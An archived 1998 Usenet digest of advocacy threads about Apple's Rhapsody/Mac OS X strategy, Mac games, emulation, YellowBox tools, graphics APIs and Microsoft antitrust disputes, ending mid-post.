Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6m5c67$90c$2@ns3.vrx.net>
References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net>
<35862ad9.0@206.25.228.5>
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Cc: jkheit@xtdl.com
In <35862ad9.0@206.25.228.5> John Kheit claimed:
> > His points were...
>
> Wrong. It's the same mach kernel.
It's NOT the same mach kernel by any stretch of the imagination.
> > b) and the administrative tools provided.
> > - totally an issue.
>
> Tools do not make the OS itself a bad server OS.
No, but they can.
> Again, having nothing to do with the core os's ability to deal and
> serve. Assuming that the BSD layer will not be made unavailable,
> OSX will perform the same.
I didn't see a single mention of "core os" in his article. I saw "os". In
that measure, MacOS-x, in a "normal" package, is NOT a good server OS.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: 16 Jun 1998 08:52:44 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6m5bos$90c$1@ns3.vrx.net>
References: <6m3hlg$n2m$1@ns3.vrx.net> <B1AB3239-423EA@209.152.194.46>
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Cc: parthur@NoSpamop.net
In <B1AB3239-423EA@209.152.194.46> "Paul Arthur" claimed:
> I'm not sure why your arguments seem to focus on "commercial" versus
> "shareware" games.
Because that's countable. I believe that the problem is just as acute in
the shareware realm, but no one tracks it. With commercial software we can
easily look at the games that shipped for the Wintel world, and see if they
are available on the Mac - and WHEN.
> There are a handful of good "commercial quality" games
> for the Mac that have recently come out. Nanosaur is a great example.
> This is a Mac-only "charityware" game that has gotten a good notice from
> the Wintel world.
I don't belittle shareware, in fact many of the games on the Mac are indeed
shareware.
> Still, all of the games I listed above are Mac only, excellent quality, and
> have appeared in the last few months alone.
I'm willing to bet that the numbers are similar in the shareware world as
well, but I can't prove it.
Maury
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 16 Jun 1998 14:23:13 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1606981022490001@pm61-38.magicnet.net>
References: <6m2cji$moo$2@supernews.com> <B1AACAA1-22258@206.165.43.7> <rmcassid-1506981506530001@dante.eng.uci.edu> <*johnnyc*-1506982043530001@jchristie.halifaxcable.dal.ca> <cirby-1506982105400001@pm55-36.magicnet.net> <*johnnyc*-1606980023330001@jchristie.halifaxcable.dal.ca>
*johnnyc*@or.psychology.dal.ca (John Christie) wrote:
> cirby@magicnet.net (Chad Irby) wrote:
>
> > Not really. The Playstation isn't really that high-powered in real
> > terms. Nothing like the N64, for example.
>
> I didn't say it was. However, emulating it takes multiples of that
> performance.
Not particularly. Look at the relative speed of some of the non-PPC
emulation in the Mac itself, for example. If a Power Mac can emulate a
non-RISC 68K processor at reasonable speed, the relative speed of a
RISC-type processor shouldn't be that much of an iassue.
Even if it *is* an issue, and it has to run at "multiples," as you say,
that's probably all right, since the G3-series PPC chip certainly *is*
"multiples" of the speed of the R3000, which is pretty mediocre.
> Hardware emulation of the older ATI chip could not be accomplished by
> the newer ATI chip (at playable speeds). It probably coudn't be
> accomplished by the next ATI chip. Emulation typically takes 4:1 speed
> hit at least.
Really? I could see that on some things, like when the Mac is emulating a
Pentium-level chip, with all of the other issues (RISC versus CISC, endian
issues, etc), where the current-issue PPC is getting about a 3:1 ratio,
but you're talking about a very limited emulation of a very simple piece
of RISC hardware, and you shouldn't need to actually emulate the 3D
hardware (just substitute Mac -> ATI calls)...
> Look at the math specs of the G3. Easily 4 times the speed
> of a regular low end pentium. However, it just barely emulates it.
Actually, a G3/300 runs at about Pentium-100 speeds or better in
emulation, or about three times the speed (or even better for some
things).
Compare, for example, the Mac's emulation of old-time 68K apps, where the
speed boost is very noticeable, even in relation to clock speeds.
--
Chad Irby cirby@magicnet.net
/ My greatest fear:
/ That future generations will, for some
/ reason, refer to me as an "optimist."
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Maybe YB development tools shoud be free
Date: 16 Jun 1998 14:47:27 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6od1bv.768.sal@panix3.panix.com>
References: <6m50f4$1o3$1@nnrp1.dejanews.com> <35862b85.0@206.25.228.5>
On 16 Jun 98 08:23:33 GMT, John Kheit <jkheit@xtdl.com> wrote:
>Or at least do the Gillette razor/doom marketing thing. Give away
>a pretty decent version for free. Say it's limited to producing
>only PPC versions of the software. Then for a modest upgrade fee...
Why not ship the PPC version with Rhapsody CR1 as an optional install.
Have the user conect to the Apple web site and register it to get an
install key if they choose to install it. It would make buying a g3
more attractive if the dev tools came with it.
(That's what NeXT did when they still made hardware...)
--
sal@panix.com
Salvatore Denaro
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 16 Jun 1998 15:12:10 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6m620a$d9i$2@news.spacelab.net>
References: <*johnnyc*-1506980054340001@jchristie.halifaxcable.dal.ca> <B1A9ED45-3B7DF@206.165.43.122> <6m2gro$cci$1@news.digifix.com> <6m2nh8$irr$3@bolivia.it.earthlink.net> <3585477a.0@news.depaul.edu> <6m45j1$nun$1@suriname.it.earthlink.net>
"Ziya Oz" <ZiyaOz@earthlink.net> wrote:
[ ... ]
> Wishful thinking, but $2M is ALL the *profit* the entire WebObjects
> operation had.
References?
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 16 Jun 1998 15:40:59 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35c69111.43525890@news.supernews.com>
References: <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM> <35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net> <6lpvl2$26g6@yuma.ACNS.ColoState.EDU> <35809E8C.8E3F239A@nstar.net> <6lqjii$1dmi@yuma.ACNS.ColoState.EDU> <35812C92.20DA6D16@nstar.net> <6ls4hn$ga6@yuma.ACNS.ColoState.EDU> <3581A52E.9FD3DB3C@nstar.net> <6m1m3g$2cms@yuma.ACNS.ColoState.EDU> <6m5rgp$9lu$19@news-2.news.gte.net>
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roger@. (Roger), on Tue, 16 Jun 1998 13:26:26 GMT,
>On 14 Jun 1998 23:24:32 GMT, someone claiming to be Larry Pyeatt
>wrote:
>
>>In article <3581A52E.9FD3DB3C@nstar.net>,
>> "Michael J. Peck" <mjpeck@nstar.net> writes:
>
>>> Larry Pyeatt wrote:
>
>>>> MS compells and constrains OEMs to sell ONLY MS operating systems.
>
>>> No, it does not. Read the licensing agreements. OEMs are in *no way*
>>> forced to sell MS operating systems. VA Research is only one example of
>>> an OEM that does NOT sell MS operating systems.
>
>>Yes, and as a result, they have a very small market. If they wanted
>>to have a larger market, they would sell MS operating systems. In
>>which case, they would be forced by MS to sell ONLY MS operating systems.
>
>No, they would not be. Read the licensing agreements.
Small manufacturers don't _have_ licensing agreements with Microsoft.
They just buy the software by the package.
>
>>The larger companies, who are competing for a bigger piece of the pie
>>all have to sign exclusive contracts with MS.
>>http://www.essential.org/antitrust/ms/jun3survey.html
>
>Well, since this person has not read the agreements either, this does
>nothing to prove your point ( hint: the salesdroids that this person
>spoke with have not read them either )
Clue: the salesdroid worked for the manufacturer, and said the same
thing most other salesdroids are saying. Is this simple negligence, or
a coercive marketing ploy?
[remainder snipped as too contentious and meaningless, OMA]
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 16 Jun 1998 15:43:54 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35c79233.43815461@news.supernews.com>
References: <6k6rm6$nkn$5@ligarius.ultra.net> <3578a103.7795788@news.supernews.com> <6kkgk9$2h7$2@gte1.gte.net> <6kl05l$k1$1@inconnu.isu.edu> <slrn6mtk1e.2rc.jedi@dementia.mishnet> <uWKsMaFl9GA.268@upnetnews02.moswest.msn.net> <01bd949c$de9bbf80$8383050a@bgravitt.CORP.VHA.COM> <6lrj05$hlm$16@gte1.gte.net> <01bd9646$a1100260$8383050a@bgravitt.CORP.VHA.COM> <6m3272$s38$21@news-1.news.gte.net> <01bd9891$3b097f80$8383050a@bgravitt.CORP.VHA.COM> <6m5prg$9lu$1@news-2.news.gte.net>
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roger@. (Roger), on Tue, 16 Jun 1998 12:58:04 GMT,
[...]
>I am saying that the statement that MS apps "freely" use such
>interfaces is an exaggeration, given that in the close to 20 years
>they have been writing apps and OSes, only two instances of such use
>have been presented.
No, hundreds of instances have been presented. Only two have been
sufficiently documented to convince you. Us living in the real world
realize how unlikely it is to be able to document such subtle
(individually) market-perverting behaviors, and recognize that if even
you will grant that two instances were found....
Where there is smoke there is fire. Not a good legal position, I'll
admit, but luckily I'm not in a court of law.
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 16 Jun 1998 08:49:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1ABE1F3-20687@206.165.43.13>
References: <6m50gp$l35$1@news.cs.tu-berlin.de>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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Marcel Weiher <marcel@cs.tu-berlin.de> said:
>>If we're going to get THAT vague about what is what, QuickDraw is used on
>>virtually every computer in the world because QuickDraw was the
>inspiration
>>for GX, DPS, PDF, GDI and just about every modern 2D graphics system.
>
>:-)
>
>You should read up on your CG history. Really.
REally? The most important innovation of QD was NOT found in any useable
form on any other graphics system when it was invented: regions.
Atkinson thought that he had seen irregular, overlapping shapes at PARC,
and he wanted 'em, so he devised his own method for doing them which
happened to be first because he hadn't seen this at PARC, but only
overlapping, rectangular windows.
The API of GDI is nearly 1:1 with QuickDraw. I have heard/read many times
that PS itself was inspired by QUickDraw. EVERYONE wanted to do what
QUickDraw does. The fact that other imaging systems were available with
features that inspired QuickDraw's feature-set doesn't remove it from its
rightful place as the direct inspiration for many graphics systems.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Maybe YB development tools shoud be free
Date: 16 Jun 1998 15:08:53 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6m61q5$d9i$1@news.spacelab.net>
References: <6m50f4$1o3$1@nnrp1.dejanews.com>
quinlan@intergate.bc.ca wrote:
>I think that Apple should consider releasing the YB development tools for
>free.
That's not a bad idea, although I'm pretty sure Apple won't do it.
However, there is the GNUstep project, which does provide a comparible set of
tools and is working to provide the OpenStep/YB API's. Of course, GNUstep
isn't anywhere near as mature or as complete, but it's available....
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 16 Jun 1998 08:51:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1ABE24D-21B94@206.165.43.13>
References: <6m50v9$ld8$1@news.cs.tu-berlin.de>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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Marcel Weiher <marcel@cs.tu-berlin.de> said:
>"Lawson English" <english@primenet.com> writes:
>
>>Or, maybe, just maybe, that GX graphics is an ideal fit to multi-media
>>vector graphics. If nothing else, the use of quadratic Beziers means that
>>it CAN be optimized to run faster than cubic Beziers, given the
equivalent
>>effort. Quadratics will show decent performance on any modern CPU, even
>>ones with slow multiplication. Cubics require multiplication to render, I
>>believe.
>
>Your beliefs are mistaken. Forward differencing can be used in
>rendering curves of arbitrary degree. The initialization step
>usually requires multiplication for all types of curves.
>
>Another interesting approach is exact integer subdivision:
>"Exact Integer Hybrid Subdivision and Forward Differencing
> of Cubics" R. Victor Klassen, Xerox Webster Research Center,
>ACM TOG Vol. 13, no 3, July 1994, pp. 240-255
So, is the core of my point invalid?
Quadratics can be rendered/dealt-with faster than cubics.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: dvdpro@aol.com (E)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Tue, 16 Jun 1998 16:59:56 GMT
Organization: ISPNews http://ispnews.com
Message-ID: <3587a46e.89044560@news.mytownonline.com>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23> <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com> <35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com> <njcosta-ya02408000R1506980112460001@news.earthlink.net>
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NNTP-Posting-Date: 16 Jun 1998 17:02:01 GMT
>> Salvatore Denaro
>
> No one would attempt to say that the Mac has more games/game developers
>than its WinDoze competitor, for it simply isn't true. However, the Mac
>does have a substantial number of game titles, and the list is growing.
Is it? Dataquest says it is shrinking. What is your basis?
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 16 Jun 1998 09:09:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1ABE68B-31AE2@206.165.43.13>
References: <*johnnyc*-1606981050050001@mac49-23.psychology.dal.ca>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
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John Christie <*johnnyc*@or.psychology.dal.ca> said:
>In article <B1A9ED45-3B7DF@206.165.43.122>, "Lawson English"
><english@primenet.com> wrote:
>
>> John Christie <*johnnyc*@or.psychology.dal.ca> said:
>>
>> >
>> > YB will be maintained cross platform. the level of constraint
proposed
>> >is not to the degree where you would have a point (as you qualify it).
>> >When it is bring it up again.
>>
>>
>> YB will work on a subset of Wintel hardware.
>
> You keep saying this and use for evidence that Office works on a subset
>of Wintel hardware (not in this particualr instance). Ok, have it. YB
>will work on a subset of Wintel hardware somewhere in the neighborhood of
>the tiny group that is serviced by Office (big hairy deal).
Microsoft spends a LOT of money to make sure of this. Just how many
millions of WIntel desktops have YB-based apps been real-world-tested on to
allow you to assert that YB apps will work on as many systems?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: mark@sapphire.oaai.com (Mark Onyschuk)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Maybe YB development tools shoud be free
Date: 16 Jun 1998 11:29:30 GMT
Organization: M. Onyschuk and Associates Inc.
Message-ID: <slrn6od79l.a87.mark@sapphire.oaai.com>
References: <6m50f4$1o3$1@nnrp1.dejanews.com> <6m61q5$d9i$1@news.spacelab.net>
In article <6m61q5$d9i$1@news.spacelab.net>, Charles W. Swiger wrote:
>quinlan@intergate.bc.ca wrote:
>>I think that Apple should consider releasing the YB development tools for
>>free.
>
>That's not a bad idea, although I'm pretty sure Apple won't do it.
>
It would be foolishness if they didn't. To borrow the cliche, "you've got to
put all the wood behind one arrow" and if you've decided to take the path of
being a hardware vendor, you're only undermining your own chances of success
by holding back on software like this that will differentiate your
platform.
Mark
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 16 Jun 1998 17:33:48 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6odb3s.qe6.sal@panix3.panix.com>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23> <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com> <35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com> <njcosta-ya02408000R1506980112460001@news.earthlink.net> <3587a46e.89044560@news.mytownonline.com>
On Tue, 16 Jun 1998 16:59:56 GMT, E <dvdpro@aol.com> wrote:
>>> Salvatore Denaro
>> No one would attempt to say that the Mac has more games/game developers
>>than its WinDoze competitor, for it simply isn't true. However, the Mac
>>does have a substantial number of game titles, and the list is growing.
>
>Is it? Dataquest says it is shrinking. What is your basis?
I did not say that, you got your quoting wrong.
--
sal@panix.com
Salvatore Denaro
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
Date: Tue, 16 Jun 1998 13:23:08 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6m6d9h$8d81@odie.mcleod.net>
References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net> <35862ad9.0@206.25.228.5>
John Kheit wrote in message <35862ad9.0@206.25.228.5>...
>maury@remove_this.istar.ca (Maury Markowitz) wrote:
>Wrong. It's the same mach kernel.
>
The kernel can and should be tuned/configured differently for a client and a
high availablity server.
>
>> a) The key will be the robustness (departmental servers must
>> scale from a few to a many as 100 users easily without breaking)
>
>> - possibly not an issue, but this remains to be seen
>
>It's the same mach kernel. Unless they purposelfully cripple it,
>it will scale the same. His claims to poor scaling seem outright
>wrong to me.
A client configuration should give all available resources to the console
user. This does not scale past one. A server should very carfully ballance
load while not letting high priority tasks like inetd or dns get behind.
Clients and servers also have different desired levels of security.
>
>
>> b) and the administrative tools provided.
>
>> - totally an issue.
>
>Tools do not make the OS itself a bad server OS. If people buy
>those tools seperatly and use macOSX, the OS will still perform
>well. His article, at the very least, seems outright misrepresentative,
>if not worse.
To compete as a server OS, MacOSX will have to have administraitive tools
comparable to other server OSs. If for example MacOSX has no convenient way
to batch add users and create accounts, it will not be very attractive to a
university as a lab server.
>
>
>> c) In addition, the software for print serving, file serving,
>> and Web serving that currently lives in AppleShare IP, will,
>> too have to be made more robust, and easier to modify and
>> maintain.
>
>> - same here
Robustness is one key. Standards are another. IMHO nobody wants an
AppleShare IP server. They want NIS+, NFS, AFS, etc. or they want NetBUI
from MS.
>
>Again, having nothing to do with the core os's ability to deal and
>serve. Assuming that the BSD layer will not be made unavailable,
>OSX will perform the same.
>
OSX will not perform the same for a server adminiatritor if he/she can not
use familiar tools such as remote shells, flat file databases, sed, grep,
awk, ps, etc.
From: "A. J. LaSalle" <alasalle@ctron.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: Tue, 16 Jun 1998 14:05:22 -0400
Organization: Cabletron Systems Inc.
Message-ID: <3586B3E2.33590565@ctron.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
From http://macopinion.com/editorials/rhaposb.html
What do people think about this opinion piece?
From what I've read I guess that Rhapsody wasn't going
to be a good MacOS platform, so Apple had to keep updating
MacOS 8+ and fix rhapsody so it would be a good Mac citizen
by transforming it into MacOSX. But it does seem like they
are in quite a quandry. IF Apple was basically planning
to dead end Rhapsody as a product line, then why did they talk
about it at all. Seems that OS 8.5, 8.6 and 9.0 are going
to be fairly good improvements. Couldn't they have done
the MacOSX/Rhapsody demos/info sessions in a 'back room'
format. Heck there isn't even a developers version of OSX yet.
Why didn't they wait till the next WWDC to make a big deal
about it (when it would be shipping in 6 months or so)?
Seems to me that the best thing for Mac Users would have been
to put Carbon on top of the Copland kernel, made it 100% PPC
native, put and end to 68k emulation and moved forward.
Improvements to navigation, I/0 performance, PMT and PM,
etc, would have put the MacOS on solid footing as a 'modern'
desktop OS. Forget all this YB, BSD, uber OS stuff. Once
they had something which formed a solid base (as a client),
then they could look at what added features would be necessary
to add middleware and server products on to. Seems to me that
Apple's task today is to strengthen its
client/workstation/consumer appeal - first and foremost.
I don't really know what Apple should have done, and of
course, that's now water under the bridge. I just wish
that they could straighten things out for a change and put
forward one simple, unambiguous plan. Your thoughts...
AJ LaSalle
--
Winston Churchill's six words on how to succeed - "Never, never, never,
never, give up."
From: gruther@bilbo.bio.purdue.edu (George Rutherford)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 16 Jun 1998 19:07:21 GMT
Organization: Purdue Biology
Message-ID: <gruther-1606981431390001@macg203j.bio.purdue.edu>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu> <Pine.SOL.3.96.980615011908.456A-100000@hei.unige.ch> <358322BC.4620@southwind.net> <MPG.feed200cc3d366598986f@news.supernews.com> <3583A2A6.2F45@southwind.net> <MPG.fef6db22eebdab0989873@news.supernews.com> <3584599A.6723@southwind.net>
> I compare one aspect of Hitler to one aspect of Jobs,while making it
> clear the two are not wholly comparable.There are stinkier executives
> than Steve Jobs,and,more quantitively destructive leaders than Hitler
> throughout history:Stalin and Mao racked up larger kill figures and Pol
> Pot and the Ottoman Turks took out a bigger percentage of their victim
> groups.
Snippetty-doo-dah.
I believe that, by convention, the use of the word "Hitler" in a post
requires the offending thread be ended.
From: "VHA PC Development" <codifex@airmail.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 16 Jun 1998 18:24:20 GMT
Organization: VHA Inc.
Message-ID: <01bd9954$da499580$8383050a@bgravitt.CORP.VHA.COM>
References: <6j2m0f$m0c$3@ligarius.ultra.net> <6k6rm6$nkn$5@ligarius.ultra.net> <3578a103.7795788@news.supernews.com> <6kkgk9$2h7$2@gte1.gte.net> <6kl05l$k1$1@inconnu.isu.edu> <slrn6mtk1e.2rc.jedi@dementia.mishnet> <uWKsMaFl9GA.268@upnetnews02.moswest.msn.net> <01bd949c$de9bbf80$8383050a@bgravitt.CORP.VHA.COM> <6lrj05$hlm$16@gte1.gte.net> <01bd9646$a1100260$8383050a@bgravitt.CORP.VHA.COM> <6m3272$s38$21@news-1.news.gte.net> <01bd9891$3b097f80$8383050a@bgravitt.CORP.VHA.COM> <6m5prg$9lu$1@news-2.news.gte.net>
Roger <roger@.> wrote in article <6m5prg$9lu$1@news-2.news.gte.net>...
> On 15 Jun 1998 19:09:40 GMT, someone claiming to be VHA PC Development
> wrote:
>
> >Roger <roger@.> wrote in article <6m3272$s38$21@news-1.news.gte.net>...
>
> >> On 12 Jun 1998 21:05:00 GMT, someone claiming to be VHA PC Development
> >> wrote:
>
> >> >Roger <roger@.> wrote in article <6lrj05$hlm$16@gte1.gte.net>...
>
> >> >> On 10 Jun 1998 18:17:17 GMT, someone claiming to be VHA PC
Development
> >> >> wrote:
>
> >> >> And can you back up that using an undocumented interface with out
> >> >> payment to MS leads to legal action, and that MS apps freely use
> >> >> these?
>
> >> >The suit between Stac and Microsoft is a precedent setting event.
>
> >> This was an interface in MS-DOS, used by MS-DOS. Your assertion is
> >> that MS * apps * use these.
>
> >Microsoft apps do use undocumented interfaces and hooks like these.
What
> >do you think Doublespace or Drivespace did in the same situation? I got
> >it! Maybe when they copied allot of Stac's stuff they also copied the
> >*illegal* function call that loaded Stac prior to calling CONFIG.SYS!
>
> 1. This is what you have been asked to substantiate. Assertion !=
> substantiation.
>
I believe that I have substantiated the fact that Microsoft does use
undocumented interfaces in their software. Enough on this subject.
> 2. Double / DriveSpace was a feature of the OS. You have stated that
> MS * Apps * use these interfaces. Feel free to post proof.
>
Double / DriveSpace became a feature of the OS after they realized someone
else was making money doing it. Can't have that now can we? Whether or
not Drivespace is or is called an OS feature, does not change the fact that
Microsoft uses undocumented interfaces. Tie your Drivespace clause and the
fact that you will not accept the fact that Microsoft uses undocumented
interfaces together if you want; you could call it a fact too but that
would be stretching an untruth to the point of breaking.
> 3. They did not copy * any * of Stac's stuff. They licensed a
> technology which was found to infringe on Stac's patent. This is not
> the same as copying code.
>
You are right in saying that using a technology is not the same as copying
code. The same results were arrived at though.
> 4. You also seem to forget that Stac was found guilty of stealing the
> code behind compression preload.
>
Not the code here either, just the interface requirements. i.e. reverse
engineering to arrive at a machine or assembler listing is *NOT* the same
as copying their code. They found out how the function worked and
replicated it.
> >> >> Someone posted two examples, hardly enough to call a trend.
>
> >> >If they do it at all then they do it. Right?
>
> >> No. The assertion was "freely." Were it that common, there would be
> >> more than two rather weak examples.
>
> >I reiterate that if they use undocumented interfaces at all then they
are
> >not competing with their competitors on a level playing field. Is this
a
> >grey area for you? It's OK for Microsoft to use interfaces and
functions
> >in their application software that only they know about? Talk about
> >stacking the odds in their favor - sheesh!
>
> I never said it was okay. Read what I write, not what you think I
> must have meant, please?
Just because there were only two *documented* instances as you refer to
them, doesn't mean that there are not more. My point is, don't incarcerate
a Microsoft competitor for doing the very thing that Microsoft does.
Double-standards are so out of style.
>
> I am saying that the statement that MS apps "freely" use such
> interfaces is an exaggeration, given that in the close to 20 years
> they have been writing apps and OSes, only two instances of such use
> have been presented.
>
Microsoft has admitted that there is no "Chinese wall" between their
application and operating system segments of development. Why then would
you think that the app division wouldn't take such an advantage?
> >> But the assertion was that MS was ... shutting out the competition.
> >> Your statement that when they get some experience users find out about
> >> NS would tend to rebut that. Or do you contend that MS is actively
> >> suppressing the accumulation of such experience?
>
> >Most new computer users are inexperienced; the concepts go hand in hand.
> >Meaning that a great many of computer users today are new users and will
be
> >inexperienced for quite a while yet. As such, they are being
indoctrinated
> >into Windows exclusively and not being allowed the chance to know that
> >there is anything different. I was one of these people at one time.
>
> How are they being indoctrinated in to Windows exclusivity? Who is
> preventing them from learning that there is something else? MS is
> merely using offering the functionality that it seems the market
> wants. If this works good enough for most folks, then MS has done the
> job it set out to do.
>
Microsoft does NOT merely offer anything - they say here it is - buy this
because we say so. They go in and hire the programmers right out from
under their competition or buy the competition outright! Paying for
advertising is one thing but paying or coercing an advertiser to remove a
competitor's advertising is cutthroat and possibly illegal.
> >As for MS actively suppressing the accumulation of experience and
> >competition... When viewed in the full light of day without all the
cheap
> >rhetoric of fearful Windows advocates afraid that they'll have their
game
> >machines taken away, the facts still stand.
>
> What facts support your statement that MS is actively suppressing the
> accumulation of experience on the part of it's users?
>
Windows users (forgive me - I used to be one exclusively) are largely
brainwashed by a constant barrage of Microsoft propaganda. You see little
Microsoft adds like "Any friend of UNIX is a friend of NT" on websites yet
Microsoft withholds licensed NT documentation and code from the originator
of UNIX - AT&T! Doesn't sound too friendly to me. NT5 is being touted as
the greatest thing yet wont be ready for quite a while yet. Some very
powerful companies are turning blue holding their breath. By the time
MERCED ships it'll be a dead issue.
> >(LINUXer's play games too.)
> >Microsoft is using lots of money to buy support for their operating
system
> >just like a candidate for office with lots of money for advertising
> >typically wins over the less financially capable candidate. However,
every
> >once in a while a contender with powerful ambitions and impeccable
> >integrity comes along and dethrones the incumbent. Microsoft was going
> >around and telling the Internet Content Providers that they had to play
> >ball. Take the Netscape Now buttons off your webpages and REPLACE them
> >with IE buttons and we'll pay you.
>
> Or don't and we won't. A simple business deal.
A prime example of exactly the kind of thing that destroys competition. I
like the idea of free capitalism but in it's most pristine and uncontrolled
state, can get mighty one sided fast. Maybe the government should shell
out a few bucks to Netscape like they did Chrysler?
>
> >ISP's were given similar disincentives
> >to resist like: Play ball with Microsoft and we'll put you in our ICW
and
> >if they resisted, they they would offer them money - lots of it.
>
> Yes, it was worth a lot of money for MS to get that exposure. Nothing
> inherently evil about that.
>
To get exposure would be to put your button there next to Netscape rather
than pull Netscape's off and replace it with your own. If these
commercialization's of the Net continue then you can expect increased
government intervention - you can thank Microsoft for helping in a big way
to drive that.
> >Microsoft
> >even played a version of Spain and Portugal dividing the world between
them
> >during the colonial period in which Netscape refused to surrender the
> >Windows market to MS.
>
> And your proof of this story is? All I have read is that NS alleges
> this occurred. And why shouldn't they be honest about it? I mean,
> it's not like they have any kind of vested interest in hurting MS, now
> is it?
>
Can you prove it didn't occur? Are you calling the folks at Netscape
liars? Microsoft has not denied that the incident occurred to my
knowledge.
> >MS then bought rights to Mosaic, modified it and
> >changed it's name to IE, finally giving it away for free. When they
> >couldn't make any more inroads to Netscape's marketshare, they had to
